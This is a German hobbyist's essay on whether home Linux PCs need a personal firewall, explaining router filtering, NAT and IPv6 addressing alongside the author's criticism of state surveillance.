Staatliche Überwachung, Internet-Kriminalität, Computer-Integrität und Schutz der digitalen Privatsphäre
Ein paar persönliche Überlegungen dazu, inwiefern uns das überhaupt betrifft, ob und wodurch wir bei digitalen Attacken möglicherweise selber Ursache sind, wie weit wir selber für die Wahrung unserer eigenen Interessen verantwortlich sind und ein paar technische Anregungen für Maßnahmen gegen virtuelle Einbruchsversuche.
Inhaltsübersicht über die Kapitel dieses Artikels:
> Ich will eine Firewall auf meinem PC einrichten...
> Prolog
> Wir haben doch längst eine Firewall
> Trotzdem eine lokale Firewall
> Konzept oder kein Konzept…?... das ist die Frage
> Was ist notwendig, dass eine Firewall nicht nur so heisst, sondern auch eine ist?
> Einrichten des Paketfilters in 4 Varianten
> 1. Paketfilter für ein Mobil-Gerät mit wechselnden Netzwerkverbindungen
> 2. Paketfilter für meinen LAN-Server
> 3. Paketfilter für einen Client-PC im LAN (also hinter dem Router)
> 4. Paketfilter für eine VM ohne Zugriff auf das lokale Netzwerk
> Epilog
Ergänzende Artikel:
> ...noch ein paar technische Infos zum Paketfilter im Kernel
> Der archivierte und noch auf iptables basierende frühere Artikel
Anhang:
> RFC4890
> Anmerkungen zu den verwendeten Beispiel-IP-Adressen
|
"Ich will eine Firewall auf meinem PC einrichten ... wie geht das? ... hast Du vielleicht 'nen Tip für mich?"
Klar, kein Problem... aber vorher nur mal so aus Neugier 'ne kurze Frage... warum willst Du das eigentlich? "Um meinen PC vor Angriffen aus dem Internet zu schützen." Ah ja, das macht natürlich Sinn. Vor welchen Angriffen? "Na vor Viren und so ... und vor irgendwelchen Hackern, die meinen PC hacken wollen." Ja, die sind echt übel. Welche Programme und Dienste mit zum Internet geöffneten Ports laufen denn bei Dir. "Was meinst Du mit dienste und ports...?... mein PC ist ja am Internet angeschlossen und ich habe den Firefox zum surfen". Jau, alles klar, das ist natürlich brisant und da musst Du Dich wirklich um den Schutz Deines PCs kümmern...
Einen Wortlaut, ganz ähnlich wie im ersten Absatz beschrieben, habe ich im Laufe meiner Debian-Zeit nun schon einige Male gelesen, gehört oder war sogar selber daran beteiligt. Sowohl bei privaten Gesprächen, als auch vereinzelt beim Lesen in verschiedenen Online-Foren. Und irgendwann war das dann auf einmal die Inspiration für die Idee, das Thema Firewall einfach mal aus meiner Sicht des privaten Heim-PC-Anwenders zu beschreiben, und das obwohl ich kann ganz sicher nicht behaupten kann, ein Sicherheitsexperte zu sein. Aber egal, man darf ja wohl trotzdem ‘ne Meinung haben, auch wenn man keine Ahnung hat….oder? ;-)
Ich habe mit diesem Artikel nicht den Anspruch, ein professionelles Handbuch für den Netfilter im Linux-Kernel zu schreiben, oder mich mit Sicherheitsexperten zu messen oder gar zu konkurrieren - das kann ich nicht, das will ich nicht, so vermessen bin ich nicht. Dieser Artikel ist auch kein HowTo, mit dem man einfach eine bestimmte Installation vornehmen kann. Am treffendsten wäre er als persönlichen Bericht über Erlebtes, Erfahrenes und Erlerntes zu umschreiben. Vielleicht kann man ihn auch als „Versuch eines Amateurs zu einem Essay“ zu bezeichnen, in dem ich mich ganz unwissenschaftlich, aber umfassend mit dem Thema PC-Sicherheit befasse - wobei ich aber immer alle Aspekte aus meiner persönlichen Perspektive auf die technischen Belange betrachte. Die Grundlage meiner persönlichen Perspektive ist aber insbesondere Bescheidenheit und eine eher kritische Einschätzung der eigenen Wichtigkeit. Ich glaube nämlich, ich bin in Bezug auf die große und weite digitale Welt schlichtweg zu unwichtig, als das sich irgendwelche ‚Großen‘ unmittelbar zielgerichtet für meine kleine IT-Welt interessieren könnten. Wenn überhaupt, finde ich mich vermutlich maximal immer nur in der Kiste „Kollateralschaden“ wieder… und genau darauf fokussieren sich meine präventiven Überlegungen. Ich betreibe kein Banken- oder Versicherungs-Netzwerk, auch nicht das Netzwerk eines Kraftwerks, sondern nur rein privat einen kleinen Intel NUC als LAN-Server…. somit also wirklich am untersten Ende der Bedeutungsskala angesiedelt. Selbstverständlich kann ich -soweit es die technischen Fakten angeht- auch nicht ausschließen, dass ich nicht selber vielleicht das eine oder andere falsch verstanden habe und infolgedessen dann hier auch falsch wiedergebe, aber genau so etwas ist durch den Charakter eines Essays eben auch nicht ausgeschlossen. In diesem Fall hoffe ich auf gutgemeinte Hinweise, um das korrigieren zu können. Meine Beweggründe für diesen Artikel sind eigentlich ziemlich banal.
Zum einen habe ich bei meiner Suche im Internet nach allem, was es zu diesem Thema an Infos gibt, regelmäßig bei allen Fundstücken immer wieder einem Laien leicht verständliche Erklärungen vermisst. Was dann infolge dessen immer wieder zu der gleichen Frage geführt hat "Wer soll das als Nicht-Fachmann eigentlich noch verstehen?". Und zum anderen gibt's jetzt einen relativ neu hinzugekommenen Aspekt, der mir derzeit tatsächlich noch wichtiger ist. Der muss allerdings wirklich banal sein, weil dieser Aspekt anscheinend den meisten anderen Usern völlig egal ist. Mir gefällt nämlich der aktuell eingeschlagenen Weg überhaupt nicht, wenn sich unsere zum Überwachungsstaat mutierende ‚Fassaden-Demokratie‘ immer mehr zur echten Bedrohung für die eigene digitale Privatsphäre und der allgemeinen Meinungsfreiheit entwickelt, bis hin zur staatlich verordneten Enteignung des Rechts auf diese Privatsphäre (siehe Stichworte z.B. Quellen-TKÜ, Staatstrojaner, Fin-Fisher, Fin-Spy, Evil Twin, "Neues" Polizeigesetz NRW 2018).
Bei dem Hintergrund sollten wir uns schon darüber im Klaren sein, was das für unserer aller Zukunft bedeuten kann und einfach mal drüber nachdenken. Denn wer sich bewusst ist, dass seine digital geäußerte Meinung wegen permanenter Telekommunikations-Überwachung schlimmstenfalls sogar Auswirkungen auf die eigene berufliche Karriere haben kann, wird irgendwann aus Sorge um seine wirtschaftliche Stabilität seine Meinung gar nicht mehr digital veröffentlicht äußern, sondern nur noch heimlich und hinter vorgehaltener Hand darüber sprechen. Die von dieser Regierung beabsichtigte gesetzlich legitimierte permanente und vollständige Überwachung von uns allen wäre z.B. auch der erste Schritt dazu, eine im Entstehen befindliche politische Opposition schon im Keim verhindern zu können…. indem man die sich im Web öffentlich äußernden oder in privater digitaler (abgehörter) Kommunikation politisch motivierte, aber oppositionell denkenden Leute einfach frühzeitig aus ihrer Karriereplanung und schlimmstenfalls sogar auch aus ihrer wirtschaftlichen Stabilität herausnimmt… nach dem Motto „wer nörgelt oder nicht nach ‚unseren' Regeln mitspielt, fliegt… oder darf im Keller Akten sortieren“. Die Chinesen zeigen uns derzeit mit ihrem Social-Credit-System, wie es geht, um eine totale Überwachung und effektive Bevölkerungskontrolle zu erreichen, ohne dabei repressiv gegen die Menschen vorgehen zu müssen…. das ist die Verwirklichung von Orwell‘s 1984. Ein schlechter Social-Credit-Punktestand „beweist“, dass es sich hier wohl um ein unbequemes Mitglied der Gesellschaft handelt, einen Störer…. und die werden wegen ihres Punkte-Defizites schlichtweg vom normalen Leben in der Gesellschaft ausgeschlossen, bei der Job-Suche, bei Beförderungen, Wohnungssuche, Kredite, bis hin bei der medizinischen Versorgung. Mit dem Social-Credit-System ist in der Bevölkerung ein System etabliert, mit dem sich die Bevölkerung selber -quasi autorepressiv- im Sinne des autoritären Regimes lenkt - das ist nicht wie 1984, das ist noch viel effektiver. Das System schützt sich damit auf effektive Weise selber, was selbstverständlich völlig normales Regime-Denken ist, aber genau davor müssen wir uns best-möglich schützen. Mit der Wegnahme des individuellen Rechtes auf digitale Privatsphäre und dem Verlust der persönlichen Hoheit für die eigenen Daten durch die permanente staatliche Überwachung geht also zwangsläufig auch die vollständige Unterdrückung der Meinungsfreiheit einher.
Ich möchte meine aus der Arbeit der letzten Monate gewonnenen Erkenntnisse mit diesem Artikel leicht verständlich, umfassend und in einem vom üblichen Zwang zur fakten-auflistenden Kurzschreibe weitestgehend befreiten Erzählstil weitergeben – als entspannte Lektüre abseits vom PC. Im Artikel vermische ich völlig ungehemmt sachliches, technisches und persönliches und führe irgendwann alles ausführlich erörtert zu einem Gesamtbild zusammen. Ich betrachte das als wichtig, weil es allein aufs technische beschränkt auch nur wieder ein HowTo wäre, welches eh nur die Fachleute verstehen, die eigentlich sowieso kein HowTo benötigen.
damit eine tolle Firewall, der täuscht sich ... allein damit hat er nämlich überhaupt nix, am allerwenigsten echte Sicherheit. Ohne Lesen, Verstehen, Prüfen und Anpassen geht wirklich absolut gar nichts. Wer allerdings mit Prosa und Epik ein Problem hat oder verlernt hat, mit langen Texten umzugehen, den bitte ich jetzt die Tastenkombination Alt-F4 zu drücken, was ihn erfolgreich davor bewahrt, jetzt noch weiter lesen zu müssen ... der benötigt vermutlich auch gar keine Firewall, oder hat schon eine, oder weiß eh alles besser. Für die geduldigen anderen Leser hoffe ich jedoch, ein paar Geheimnisse "lüften" zu können. Ich glaube nämlich, wenn man sich mit einer solchen Aufgabe befasst, sollte der private PC-Administrator -bevor er loslegt- wirklich klare Vorstellungen darüber haben, was er mit welcher sachlichen Begründung überhaupt erreichen will und was uns Laien als erreichbares Ziel überhaupt möglich ist. Auch dieser Artikel wendet sich also wieder an Leute, die eben keine ausgewiesenen Fachleute sind, die eben nur private PC-Anwender ohne Spezialisten-Kenntnisse sind. Ich hab‘s aufgeschrieben, weil ich solche Arbeit gerne tue und natürlich auch, damit meine Erkenntnisse vielleicht dem einen oder anderen dabei helfen, ebenfalls eigene und präventiv geeignete Maßnahmen zu entwickeln, ohne ein IT-Profi sein zu müssen oder einfach nur, um einen Einstieg in dieses schwierige Thema zu finden. Wenn dann beim Lesen der eine oder andere denkt „Ging mir genauso“ oder „So sieht es bei mir auch aus“ oder „Damit kann ich was anfangen“ oder „Aha, so ist das also“, dann war dieser Artikel schon ein Erfolg. Ja, sicher, natürlich ist mir auch bewusst, dass man echte Profis, die unbedingt "rein" wollen, und das auch noch ganz gezielt, vermutlich nicht abhalten kann. Aber wir müssen denen ja nicht selber unsere digitalen Türen bereitwillig weit öffnen und damit quasi Einladungen aussprechen, wir müssen es denen überhaupt nicht einfach machen.... das genaue Gegenteil ist der Fall.
Natürlich habe ich lange und gezielt im Web gesucht und in unzähligen Texten recherchiert, um Informationen zu finden, mit denen ich erst mal selber eigene grundsätzliche Vorstellungen über die Ausgestaltung einer persönlichen Firewall entwickeln konnte und mit denen ich dann am Ende auch wirklich meine Vorstellungen für eine solche Firewall realisieren konnte. Parallel dazu hab ich in zweistelliger Anzahl Programm-Entwürfe entwickelt und getestet, korrigiert oder mangels Zufriedenheit wieder verworfen. Technische Artikel, Man-Pages, die Netfilter-Project-Seiten, viele Beispiel-Regel-Sätze für den Paketfilter, pro- und contra-Ansichten über die Wirksamkeit von Personal Firewalls auf End-User-PCs, alles findet man zuhauf... nur fehlten bei fast allen der gezeigten Modelle und Beispiele die etwas tiefer gehenden Erklärungen über die Rahmenbedingungen, mit welcher genauen Zielsetzung das überhaupt genau so gemacht wurde und welche Wirkung das warum an welcher Stelle hat. Was hilft es mir, wenn ich lese "...sperrt Port 99 für Protokoll XYZ", wenn ich gar nicht weiß, warum und ob überhaupt es notwendig sein könnte, speziell diesen Port auf meinem PC zu sperren? Wie soll ich denn da als Beginner beurteilen, ob das für meine Zwecke und Absichten überhaupt geeignet oder notwendig ist? Wie sinnvoll ist es, wenn ich mir die beste Firewall von allen installiere, mir gleichzeitig aber gar nicht bewusst ist, dass ich sie mit meinem gewohnten (aber doch eher leichtsinnigen) Anwenderverhalten wieder vollständig neutralisiere …?... wobei ich nicht mal im Traum daran gedacht habe, dass mein eigenes Verhalten vielleicht so leichtsinnig sein könnte, dass genau davon die größte Gefahr ausging… denn so etwas würde ich doch nie wollen. Ich konnte das alles zusammen meistens jedenfalls nicht einschätzen, also lief es mal wieder darauf hinaus, sich alles einzeln mühsam erarbeiten zu müssen.
Was ich jetzt hier beschreibe, ist also nur die Essenz dessen, was ich mir in dieser Lehrzeit an Kenntnissen erarbeitet habe. Für die Zwecke meiner privaten Computerei reicht das völlig aus, es wird aber wohl trotzdem nur ein Teil dessen sein, was insgesamt möglich ist. Diese kleine Einleitung zum eigentlichen Thema soll also die Richtung weisen, wie man meinen Artikel einschätzen muss. Es sind Anfangs-Kenntnisse für einfache Basislösungen. Mit diesem limitierten Kenntnisvorrat ist es jedenfalls nicht möglich, die Firewall für einen Linux-Router zu schreiben... aber das war auch nie man Ziel, mir geht's nur um meine PC's. Also werde ich hier in diesem Text auch keinesfalls die sehr anspruchsvolle und technisch tatsächlich mögliche Tiefe erreichen. Wer das braucht oder will muss sich das notwendige Wissen an anderer Stelle aneignen.
"Was waren denn Deine Beweggründe eine Firewall einzurichten?"
Tja, in erster Linie waren es anfangs vermutlich wohl fehlende Sachkenntnisse, also einfach nur Ahnungslosigkeit. Und dann als zweites der das Problem auslösende Umstand, dass ich nach dem Wechsel von DSL auf VDSL auf einmal einen Dual-Stack-Anschluss hatte. Solange mein alter DSL-Anschluss ein reiner IPv4-Anschluss war, hatte ich für unsere Debian-PCs zu keiner Zeit den Gedanken, dass diese eine Personal Firewall brauchen würden. Aber die technische Besonderheit, dass für IPv6 kein NAT notwendig und deshalb auch erst mal nicht mehr vorhanden ist, das jeder PC mit seiner Global-Unicast-IPv6-Adresse selber und direkt im Internet präsent ist, schien mir doch sehr suspekt. Was NAT für IPv4 und die Sicherheit unserer LAN-Clients bedeutet, beschreibe ich ein paar Absätze weiter unten, aber genau das ist für IPv6 zunächst mal nicht vorgesehen. Die Tatsache, dass mit IPv6 jeder PC direkt mit seinem Ziel-Host im Internet kommunizieren kann, ist ganz unzweifelhaft ein Vorteil, wird damit doch viel datenfluss-technischer Overhead mit einem Mal total überflüssig, alles geht schneller, einfacher, besser, direkter.
Aber es hat mich dennoch einigermaßen beunruhigt, so sehr, dass der Gedanke aufkam, eine Firewall könnte jetzt zwingend notwendig sein. Eben weil ich auch glaubte, dass mein PC im Internet jetzt allgemein sichtbar und ansprechbar ist und er allein deswegen unbedingt geschützt werden müsste. Aber wie wir sehen werden, war das einfach nur ein Irrtum. Und genau diesen zumeist fehlenden Sachkenntnissen über die wichtigen und elementaren Hintergründe für den sinnvollen Betrieb einer Firewall widme ich den Großteil meines Artikels, womit es dann anschließend auch möglich sein sollte, die im Internet gefundenen technischen Suchergebnisse mit jetzt besserem eigenem Verständnis zu bewerten und einzuordnen. Und jetzt alles weitere einfach mal überspringend und weit vorgreifend komme ich heute und ganz aktuell wieder zu dem Fazit, dass ich auf meinem eigenen PC -wie schon früher- auch heute immer noch keine Firewall benötige. Ich habe sie zwar, sie ist auch aktiv, aber das ist eindeutig mehr mit der Lust am Tun begründet, als das es hier eine zwingende Notwendigkeit gäbe oder das sie die Sicherheit gravierend verbessert. Aber dieses Fazit ist natürlich nicht allgemein übertragbar, es gilt nicht für meinen Laptop und auch nicht für die Server, sondern nur für meinen eigenen PC. Und das ist allein in der Art und Weise meines persönlichen Umgangs mit unserem IT-Equipment begründet.... mit anderen Worten: andere Gegebenheiten = andere Erfordernisse = andere Lösungen!
Früher unter Windows war das ja alles kein Thema, da war eine Firewall obligatorisch aktiviert und man wurde immer wieder mit deutlichen Hinweisen gewarnt, wenn diese Firewall nicht aktiviert war. Die User waren daran gewöhnt und allein durch den Begriff „Firewall“ und der Erwartungshaltung einen mächtigen Schutz zu haben geradezu beruhigt. Nun ist bei einigen Linux-Distributionen so eine Firewall anscheinend nicht von vornherein installiert und auch nicht generell im Desktop-Environment der Distribution aktiviert..... ‚ganz schön schlampig von den Entwicklern‘ stellt man fest und fällt ein treffendes Urteil. Ja sicher, ich verstehe natürlich, wie man zu diesem Fazit kommt, weil ein solcher Missstand ja eigentlich überhaupt nicht mehr zur Erwartungshaltung eines Anwenders passt, der sich früher von seiner Windows-Firewall gut beschützt gefühlt hat. Einige der Anwender, mit denen ich gesprochen habe, haben scheinbar die Vorstellung, dass ihr mit dem Internet verbundener PC generell schutzlos ist und allen aus dem Internet kommenden bösen Absichten quasi hilflos ausgeliefert ist, wenn keine Firewall installiert ist. Warum sonst wird die Verwendung der Firewall bei Windows so nachhaltig empfohlen? Da liegt es doch nahe, bei den Linux-Distributionen -wie z.B. bei Debian- ein faules Versäumnis zu vermuten, wenn eine solche Firewall fehlt. Aber ist es wirklich Schlampigkeit? Oder ein Versäumnis? Nein, natürlicht nicht! Ganz einfach.... |  |
.... wir haben doch längst eine Firewall!
Nein, es ist weder ein Versäumnis, noch geht damit automatisch eine Gefährdung des eigenen PCs einher, wie man übertrieben ängstlich und ohne tiefer gehende Sachkenntnisse vielleicht befürchten könnte. Für die meisten privaten Computer-Besitzer gelten nämlich für den Internet-Zugang und speziell diese Sicherheitsfrage betreffend maßgebliche Rahmenbedingungen, aus denen wir schließlich die für uns wichtige Erkenntnis ableiten können, das die bei Debian fehlende Desktop-Firewall absolut kein unüberschaubares Sicherheitsrisiko für Übergriffe aus dem Internet darstellt.
Wir alle, die wir als private Home-Computer-Anwender mit einem DSL-Zugang Kunde bei einem der üblichen Internet-Provider sind, haben im Regelfall schon eine einzelne speziell für diesen Zweck wirksame Firewall-Funktion installiert, und zwar ganz ohne unser Zutun. Diese einzelne „Firewall“-Funktion ist in unserem DSL-Router resp. dessen Firmware enthalten, sie ist standardmäßig aktiviert und sie blockt wirksam alle vom Internet ausgehenden unautorisierten Zugriffe auf unsere Hardware. Es versteht sich von selbst, dass das keine echte vollwertige Firewall ist – denn allein irgendwelchen PCs im LAN den Zugang zum Internet (Kinderschutz) sperren oder zeitlich begrenzen zu können und einzelne Ports auf einen Rechner im LAN forwarden zu können macht noch lange keine Firewall aus. Aber es ist eben eine Funktion, die die von außen kommenden Zugriffsversuche blockieren kann. Eine richtige Firewall hat darüber hinaus deutlich mehr Möglichkeiten, aber eine solche (wie z.B. OPNsense) läuft dann sowieso nicht auf unserem PC, sondern eher auf einem dedizierten Rechner zwischen unserem Netzwerk und dem Internet und kontrolliert/reguliert den gesamten Netzverkehr ins Internet. Wir haben es also hier mit 3 ähnlichen Aspekten zu tun, jedoch mit gravierend unterschiedlichen Funktionen und Stärken. Die sehr limitierte Firewall des DSL-Routers, die persönliche Firewall auf dem PC, die zwar umfassende Möglichkeiten bietet, aber nur isoliert auf diesem PC wirkt, und schließlich die professionellen Ansprüchen genügende FW mit eigener dedizierter (und somit zusätzlicher) Hardware, die den kompletten Datenverkehr aller Clients im LAN schützen bzw. regulieren kann. Aber da bin ich mir sicher, dass ich das weder will noch brauche. Ich will keine zusätzlichen Anschaffungskosten, keine zusätzlichen Betriebskosten und keinen zusätzlichen Arbeitsaufwand für Wartung …. es ist ja schließlich nur ein kleines privates Netzwerk. Wem das allerdings nicht reicht, dem bleibt wirklich nur der Weg mit einer professionellen Lösung, wie z.B. mit dem schon genannten OPNsense… diese Firewall ist wohl über jeden Zweifel erhaben.
Um nun wieder zum Thema zurückzukehren, diese durch die auf dem PC fehlende Personal Firewall vermeintlich existierende Gefahrensituation ist meiner Meinung nach eigentlich ein Irrglaube. Man muss nämlich nur mal auf Windows schauen und gleichzeitig die seit Jahren andauernde Situation mit Malware einbeziehen … die Windows-Firewall gibt‘s ja auch schon seit Windows 7 … und wirklich geändert hat die an der Gesamtsituation auch nichts - ob mit oder ohne bedeutet für die breite Masse der privaten PC-Anwender faktisch keinen Unterschied. Also ist darüber hinausgehend eben auch anzumerken, dass der Glaube daran, eine zusätzliche auf dem PC installierte Personal Firewall würde die Sicherheit wirklich immer verbessern, auch nur ein Irrglaube ist... denn das tut sie nämlich nur unter ganz besonderen Rahmenbedingungen. Ich hoffe, dass es mir in diesem Artikel gelingt, das zu erklären. Es ist also zunächst mal völlig in Ordnung, wenn bei einem Desktop-Environment-Debian während der Installation nicht gleichzeitig eine Firewall installiert wird. Das folgende Bild soll ein wenig dabei helfen, einen etwas besseren Überblick durch das mit den jeweiligen IP-Adressen ermöglichte Beziehungsgeflecht der Geräte untereinander zu bekommen. In den zwei danach folgenden Grafiken verwende ich für die Darstellung bestimmter Transportweg-Eigenschaften (NAT, FW) eines IP-Pakets zwischen 2 Endpunkten erneut die gleichen beispielhaften und willkürlich erfundenen IP-Adressen. Aber vorab sollten wir uns ein paar ganz allgemein geltende Grundsätze verinnerlichen, auf die ich im Artikel als Basis für weitere Erkenntnisse und Entscheidungen und auch für die Programme zurückgreife:
1. Jeder Internet-Teilnehmer hat eine weltweit gültige und weltweit einmalige IP-Adresse, mit der er eindeutig identifiziert werden kann. (Anmerk.: Eine Aussage über die Gültigkeitsdauer dieser IP ist hier nicht enthalten, und auch nicht darüber, dass ‚jemand‘ auch mehrere Internetzugänge haben kann, ich beziehe mich nur auf den Moment einer aktuellen (privaten) Verbindung). 2. Bei IPv4 (32 Bit Länge) ist auf Grund der begrenzten Anzahl maximal möglicher IPv4-Adressen der DSL-Router der einzige echte Internet-Teilnehmer im privaten Netz (siehe NAT). 3. Bei IPv6 (128 Bit Länge) kann auf Grund der sehr hohen Anzahl möglicher Adressen im 2000::‘er Netz neben dem DSL-Router auch jedes Client-Gerät selber Internet-Teilnehmer sein. 4. Für IPv4-Netze erhalten private Internet-Teilnehmer von ihrem DSL-Anbieter eine internettaugliche IP-Adresse, die normalerweise der DSL-Router verwendet. Das lokale Netzwerk wird vom Router repräsentiert, basierend auf einem privaten IP-Range: Class-C-Netz 192.168.*/24, Class-B-Netz 172.*/16 und Class-A-Netz 10/8. Lokale IPv4-Adressen im LAN werden den Clients üblicherweise vom Router via DHCP zugewiesen und sind nicht internettauglich. |  |
5. Für IPv6-Netze erhalten private Internet-Teilnehmer von ihrem DSL-Anbieter einen weltweit einmaligen Prefix, mit dem eine 64 Bit lange Site-ID gebildet wird, die das „eigene“ Netzwerk repräsentiert und die via Router Advertisement an die Clients im LAN übermittelt wird. Weitere 64 Bits (ab Bit 65) enthalten den Interface Identifier, den jedes Gerät abgeleitet aus der MAC-Adresse des Netzwerk-Interfaces im Gerät selber ermittelt. Die 128 Bits zusammen ergeben mit der Site-ID und dem Interface Identifier die internettaugliche IPv6-Adresse des Geräts, die letztlich nicht von extern zugewiesen, sondern „zustandslos“ (SLAAC) durch den Client-PC selber ermittelt wurde. 6. Lokale IP4/6-Daten-Pakete (Quelle und Ziel = LAN) werden normalerweise nicht über das Internet geroutet. 7. Eine direkte Kommunikation zwischen IPv4 und IPv6 ist nicht möglich (siehe IP-Transition-Technologies, 6to4, etc.). 8. Eine IP-Adresse besteht i.ü.S. immer aus 2 Teilen, zuerst der Netzwerk-Anteil, der für alle Clients im privaten LAN gleich ist. Dann folgt der Client-Anteil, der zur eindeutigen Unterscheidung im LAN für jeden Client einmalig ist. Ein Beispiel für ein klassisches privates IPv4-Class-C Netz: Netzwerk-Anteil Client-Anteil IP: 198.51.100.002/24 11000110.00110011.01100100.00000010 Subnet: 255.255.255.000 11111111.11111111.11111111.00000000 Bits 0 - 24 Bits 25 - 32 Ein Beispiel für ein IPv6-Netzwerk: Site-ID Interface-Identifier (Netzwerk-Anteil) (Client-Anteil) Global Unicast Adress, IP: 2001 : db8 : f3 : 40 : cc29 : baff : fed9 : 22 / 64 Bits 0 - 64 Bits 65 – 128 Die Breite von /24 bzw. /64 Bits legt bei diesen Beispielen jeweils den Netzwerk-Anteil in der IP-Adresse fest. Geräte im LAN mit gleichem Netzwerk-Anteil können unmittelbar miteinander kommunizieren. Ein markanter Unterschied zwischen IPv4 und IPv6 ist die Subnet-Mask, die seit der Einführung von CIDR ein klassenloses Domain-Routing ermöglicht. Seit CIDR ist für IPv4 die Angabe der Subnet-Mask zwingend notwendig, was hingegen bei den früheren Netzwerkklassen nicht erforderlich war. Der Grund für CIDR war die traditionelle Knappheit von IPv4-Adressen und die durch Netzklassen entstehende weitere künstliche Beschränkung - was es bei IPv6 so gar nicht gibt, weswegen IPv6 eben ohne Subnet-Mask auskommt – für mich ein weiterer Vorteil von IPv6. | |
Fakt ist also, jeder moderne handelsübliche DSL-Router ist (bereits durch den Hersteller implementiert) standardmäßig mit einer sehr einfachen, rudimentären Firewall-Funktion ausgestattet, die seit der Inbetriebnahme des Routers in unserem Heimnetzwerk jegliche aus dem Internet kommenden Versuche zu einem Verbindungsaufbau auf ein Gerät in unserem privaten Netzwerk rigoros blockiert. Was also diese befürchteten Attacken aus dem Internet auf unsere PCs angeht… das geht so nicht, solche Möglichkeiten haben Angreifer nicht mal eben auf die Schnelle, das kann der DSL-Router durchaus abwehren.
Solche Attacken können nur erfolgreich funktionieren, wenn schon bereits geöffnete Türen im Router vorhanden sind (wie offene Ports und Weiterleitungen oder mangelhafte Einstellungen der WLAN-Security), sei es vorher durch den Anwender selber geöffnet oder durch einen Fehler in der Firmware - beim letzteren wäre es sogar ein echter Exploit. Aber das ist nicht die Regel und geöffnete Ports sind auch nicht von vornherein so eingestellt. Eine zweite Möglichkeit besteht noch, wenn auf dem PC des Anwenders ein Programm (Schadsoftware) läuft, welches von sich aus eine schadensverursachende Verbindung ins Internet aufbaut, was allerdings quasi einer Einladung gleichkommt und deshalb nicht der Firewall anzulasten ist. |  |
Also, in solchen Fällen bestehen die Schwachstellen unzweifelhaft im LAN. Meines Erachtens ist es aber unstrittig, dass ohne diese Schwachstellen jedenfalls kein Eindringen 'einfach so' von außen durch beliebige Hacker möglich ist. Der von der Router-Firewall gegebene Schutz funktioniert tatsächlich zuverlässig. Und bezogen auf die andere Seite der Medaille müssen wir die Tatsache verstehen, dass jede Firewall ohne jeden Zweifel völlig wirkungslos ist, wenn Türen von innen geöffnet werden. Dazu ein Hinweis am Rande, mit solchen -vermutlich ungewollten- von innen geöffneten Schwachstellen befasse ich mich in diesem Artikel noch sehr intensiv und zeige Möglichkeiten, diese erfolgreich zu vermeiden.
Und schließlich darf man bei solchen Einbruchsversuchen keinesfalls vergessen, dass der erfolgreiche Versuch eines Verbindungsaufbaus aus dem Internet auf ein bestimmtes Gerät ja beinhalten würde, dass der Eindringling in unser LAN hinter der Router-Firewall nicht nur unsere Client-Geräte sieht, er kennt sogar auch noch deren lokale IP-Adressen, um ein Gerät überhaupt gezielt ansprechen zu können. Bei der in Heim-Netzwerken üblichen Verwendung von IPv4-Adressen für die Client-Geräte ist das aber völlig unmöglich, denn die lokalen IPv4-Adressen gehören alle einem privaten und rein lokal begrenzten IP-Range an, der gar nicht internettauglich ist, der internetseitig auch nicht bekannt ist und den der Router mit einer Gültigkeit auf unser LAN beschränkt durch seine Einstellungen vorschreibt. Selbst bei einer hergestellten Verbindung eines unserer Clients ins Internet wird dessen lokale IPv4-Adresse nicht übermittelt, der Router ersetzt sie vorher durch Network Address Translation (NAT) mit seiner eigenen WAN-IP. Das ist notwendig, damit Antwort-Pakete auch wieder den Weg zurück in unser Netzwerk finden, eben weil die lokale Client-IPv4 weder bekannt noch internettauglich ist. Das bedeutet, dass das Internet einen typischen privaten IPv4-Client zunächst mal gar nicht sieht, das Internet kommuniziert quasi nur mit unserem DSL-Router, der damit als Vermittler der Datenpakete zwischen Client-Gerät und Internet arbeitet.
TCP/IP-Datenpakete – Sender und Empfänger
Es wird etwas leichter verständlich, wenn man sich einmal ein auf die Reise gehendes Datenpaket anschaut. Fester Bestandteil eines jeden Datenpakets sind neben den zu übermittelnden Daten (Payload, i.ü.S. Nutzlast) die beiden Felder des IP-Headers, wer hat es gesendet (Source-Addr) und wer ist der Empfänger (Dest-Addr). Die Source-Addr ist notwendig, damit der Empfänger für eine Rückantwort diese IP in der Dest-Addr seines Antwort-Paket eintragen kann. In der Rückantwort ist also die vorherige Quell-Adresse jetzt die Ziel-Adresse, und das ist erst mal unser Router. In unserem Router findet in beiden Fällen (in/out) jeweils die Network Address Translation statt. |  |
Aber auch bei der Verwendung von IPv6 und der dort fehlenden NAT gibt es durchaus Möglichkeiten, diesen vermeintlichen Mangel etwas zu kompensieren. Ein Nachteil der Kombination ISP-Prefix (Bestandteil der Site-ID) und SLAAC (i.ü.S. Machine-ID) bei der Bildung der lokalen IPv6 ist nämlich, dass eine IPV6-Adresse durchaus auch längere Zeit konstant sein kann, ohne das sie tatsächlich von uns gewollt „static“ ist. Der Nachteil ist, der PC wäre darüber dann im Internet wiederholt eindeutig identifizierbar. Das liegt daran, das die Machine-ID der IPv6 nicht wirklich zufällig errechnet, sondern aus der MAC-Adresse des Netzwerk-Interfaces abgeleitet wird. Wir erinnern uns, die IPv6 wird nicht zugewiesen, sondern lokal gebildet und ist eine Kombination aus Site-ID und dem Interface-Identifier (s.o.). Dieser Pseudo-Static-Effekt kann beispielsweise bei typischen DS-Lite-Verträgen auftreten, wenn der ISP-Prefix nur nach Trennung des Netzwerkes oder durch einen Router-Neustart aktualisiert wird, ansonsten aber wegen der fehlenden Zwangstrennung konstant bleibt. Die MAC-Adresse ist konstant, bleibt der Prefix auch konstant, bleibt als Ergebnis natürlich auch die IPv6 unseres Computers konstant. Selbst ein Neustart des PCs hat überhaupt keine Auswirkung auf die Bildung einer neuen IPv6, weil der Prefix vom Router vorgehalten wird und für den neugestarteten PC wird einfach der bestehende Prefix über das Router Advertisement an den Client-PC übermittelt - durch die konstante MAC-Adresse des Netzwerk-Interfaces im PC kommt also die gleiche IPv6 raus, wie zuvor. Nur nach einer echten Trennung des Routers vom DSL-Zugang und der damit einhergehenden Vergabe eines neuen Prefix würde ein lokaler PC wirklich eine neue IPv6 verwenden und wäre somit erst mal wieder ‚unbekannt‘ im Internet. Leider hat man aber selbst mit dem Router-Neustart keine Garantie dafür, selbst dann könnte man den gleichen Prefix wie zuvor übermittelt bekommen. Um einen Prefix-Wechsel wirklich zu erzwingen könnte es also sogar notwendig sein, den Router minutenlang (oder länger) ausgeschaltet zu lassen.
